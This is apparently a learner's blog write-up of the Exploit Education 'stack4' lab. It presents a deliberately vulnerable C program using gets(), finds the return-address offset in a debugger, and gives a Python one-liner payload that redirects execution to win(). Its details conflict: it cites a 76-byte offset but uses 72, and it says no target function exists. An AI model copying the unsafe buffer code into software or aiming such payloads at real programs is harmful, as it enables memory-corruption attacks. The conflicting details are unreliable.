← Back to list

stack4 Exploit Education write-up

stack4

Salmaahmed · 2025-04-18 20:54 · 0 claps · 1.6 min read
#cybersecurity #pof #stackoverflow #stack #exploit-development
Open on Medium ↗
Wiki topics: 🔒 · Cybersecurity

stack4 Exploit Education write-up

stack4

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

gcc stack04.c -o stack04.exe

here there’s no function in the code to jump into

we open the exe file in immunity debugger

creating a pattern to know the offset

we input the payload in the program

now let’s see the eip in the debugger >>

here we got the eip (instruction pointer) , now use another msf command to to know the offset we stop at and put the address after

now we have the POF value , we a 76 byte to POF this code or program

trying to get the address of the function we want to call

now we have the POF value + address

00401460 >> \x60\x14\x40\x00

now we need to input them >>

python -c “print(‘A’*72+’\x60\x14\x40\x00')” | .\stack04.exe


메타데이터
post_id
e308bac4ac76
slug
stack5-exploit-education-write-up-e308bac4ac76
url
https://medium.com/@salmaahmed1/stack5-exploit-education-write-up-e308bac4ac76
canonical_url
https://medium.com/@salmaahmed1/stack5-exploit-education-write-up-e308bac4ac76
author_url
https://medium.com/@salmaahmed1
status
ok
fetched_at
2026-06-26 03:39:16